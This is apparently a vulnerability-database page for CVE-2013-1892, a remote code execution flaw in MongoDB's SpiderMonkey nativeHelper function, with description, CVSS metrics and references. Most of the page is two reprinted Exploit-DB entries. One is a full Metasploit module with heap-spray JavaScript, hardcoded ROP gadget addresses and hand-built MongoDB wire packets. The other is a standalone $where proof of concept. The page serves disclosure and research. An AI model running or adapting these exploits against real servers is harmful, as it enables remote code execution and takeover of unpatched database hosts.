CVE-2013-1892 : Detail

CVE-2013-1892

A03-Injection
59.25%V3
Network
2013-10-01
18h00 +00:00
2013-12-01
16h26 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

MongoDB before 2.0.9 and 2.2.x before 2.2.4 does not properly validate requests to the nativeHelper function in SpiderMonkey, which allows remote authenticated users to cause a denial of service (invalid memory access and server crash) or execute arbitrary code via a crafted memory address in the first argument.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24935

Publication date : 2013-04-07 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution', 'Description' => %q{ This module exploit a the nativeHelper feature from spiderMonkey which allows to to control execution by calling it wit specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. }, 'Author' => [ 'agix' # @agixid # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2013-1892' ], [ 'OSVDB', '91632' ], [ 'BID', '58695' ], [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux - mongod 2.2.3 - 32bits', { 'Arch' => ARCH_X86, 'mmap' => [ 0x0816f768, # mmap64@plt # from mongod 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod 0x31337000, 0x00002000, 0x00000007, 0x00000031, 0xffffffff, 0x00000000, 0x00000000, 0x0816e4c8, # memcpy@plt # from mongod 0x31337000, 0x31337000, 0x0c0b0000, 0x00002000 ], 'ret' => 0x08055a70, # ret # from mongod 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] # These gadgets need to be composed with bytes < 0x80 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 'gadget4' => 0x08055a6c, # pop eax / ret 'gadget5' => 0x08457158 # xchg esp,eax } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 24 2013', 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(27017), OptString.new('DB', [ true, "Database to use", "admin"]), OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), OptString.new('USERNAME', [ false, "Login to use", ""]), OptString.new('PASSWORD', [ false, "Password to use", ""]) ], self.class) end def exploit begin connect if require_auth? print_status("Mongo server #{datastore['RHOST']} use authentication...") if !datastore['USERNAME'] || !datastore['PASSWORD'] disconnect fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided") end if do_login==0 disconnect fail_with(Exploit::Failure::NoAccess, "Authentication failed") end else print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") end if datastore['COLLECTION'] && datastore['COLLECTION'] != "" collection = datastore['COLLECTION'] else collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') if read_only?(collection) disconnect fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") else print_good("New document created in collection #{collection}") end end print_status("Let's exploit, heap spray could take some time...") my_target = target shellcode = Rex::Text.to_unescape(payload.encoded) mmap = my_target['mmap'].pack("V*") ret = [my_target['ret']].pack("V*") gadget1 = "0x#{my_target['gadget1'].to_s(16)}" gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V")) gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V")) gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V")) gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V")) shellcode_var="a"+Rex::Text.rand_text_hex(4) sizechunk_var="b"+Rex::Text.rand_text_hex(4) chunk_var="c"+Rex::Text.rand_text_hex(4) i_var="d"+Rex::Text.rand_text_hex(4) array_var="e"+Rex::Text.rand_text_hex(4) ropchain_var="f"+Rex::Text.rand_text_hex(4) chunk2_var="g"+Rex::Text.rand_text_hex(4) array2_var="h"+Rex::Text.rand_text_hex(4) # nopsled + shellcode heapspray payload_js = shellcode_var+'=unescape("'+shellcode+'");' payload_js << sizechunk_var+'=0x1000;' payload_js << chunk_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' payload_js << array_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' # retchain + ropchain heapspray payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' payload_js << chunk2_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' payload_js << array2_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' # Trigger and first ropchain payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, ' payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) where = "\x02\x24\x77\x68\x65\x72\x65\x00" where << [payload_js.length+4].pack("L") where << payload_js+"\x00" where.insert(0, [where.length + 4].pack("L")) packet += where packet.insert(0, [packet.length + 4].pack("L")) sock.put(packet) disconnect rescue ::Exception => e fail_with(Exploit::Failure::Unreachable, "Unable to connect") end end def require_auth? request_id = Rex::Text.rand_text(4) packet = "\x3f\x00\x00\x00" #messageLength (63) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query ({"listDatabases"=>1}) packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def read_only?(collection) request_id = Rex::Text.rand_text(4) _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" insert = _id+key+[value.length].pack("L")+value+"\x00" packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) packet << [insert.length+4].pack("L") packet << insert sock.put(packet) request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 Query) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) packet << "\x1b\x00\x00\x00" packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def do_login print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database") nonce = get_nonce status = auth(nonce) return status end def auth(nonce) request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination document << datastore['USERNAME'] + "\x00" document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" document << nonce + "\x00" document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00" document << "\x00" #Calculate document length document.insert(0, [document.length + 4].pack("L")) packet += document #Calculate messageLength packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength sock.put(packet) response = sock.get_once if have_auth_error?(response) print_error("Bad login or DB") return 0 else print_good("Successful login on DB #{datastore['db']}") return 1 end end def get_nonce request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query {"getnonce"=>1.0} packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once documents = response[36..1024] #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} nonce = documents[15..30] end def have_auth_error?(response) #Response header 36 bytes long documents = response[36..1024] #{"errmsg"=>"auth fails", "ok"=>0.0} #{"errmsg"=>"need to login", "ok"=>0.0} if documents.include?('errmsg') || documents.include?('unauthorized') return true else return false end end end
Exploit Database EDB-ID : 24947

Publication date : 2013-04-07 22h00 +00:00
Author : agix
EDB Verified : Yes

#Title: MongoDB nativeHelper.apply Remote Code Execution #Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/ #Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz #Version: 2.2.3 The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation. the NativeFunction "func" come from "x" javascript object and then is called without any check: db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'})

Products Mentioned

Configuraton 0

Mongodb>>Mongodb >> Version To (including) 2.0.8

Mongodb>>Mongodb >> Version 1.2.0

Mongodb>>Mongodb >> Version 1.4.0

Mongodb>>Mongodb >> Version 1.6.0

Mongodb>>Mongodb >> Version 1.8.0

Mongodb>>Mongodb >> Version 2.0.0

Mongodb>>Mongodb >> Version 2.0.1

Mongodb>>Mongodb >> Version 2.0.2

Mongodb>>Mongodb >> Version 2.0.3

Mongodb>>Mongodb >> Version 2.0.4

Mongodb>>Mongodb >> Version 2.0.5

Mongodb>>Mongodb >> Version 2.0.6

Mongodb>>Mongodb >> Version 2.0.7

Mongodb>>Mongodb >> Version 2.2.0

Mongodb>>Mongodb >> Version 2.2.1

Mongodb>>Mongodb >> Version 2.2.2

Mongodb>>Mongodb >> Version 2.2.3

Configuraton 0

Redhat>>Enterprise_mrg >> Version 2.3

References

http://rhn.redhat.com/errata/RHSA-2013-1170.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/24947
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2013/03/25/9
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/24935
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.mongodb.org/about/alerts/
Tags : x_refsource_CONFIRM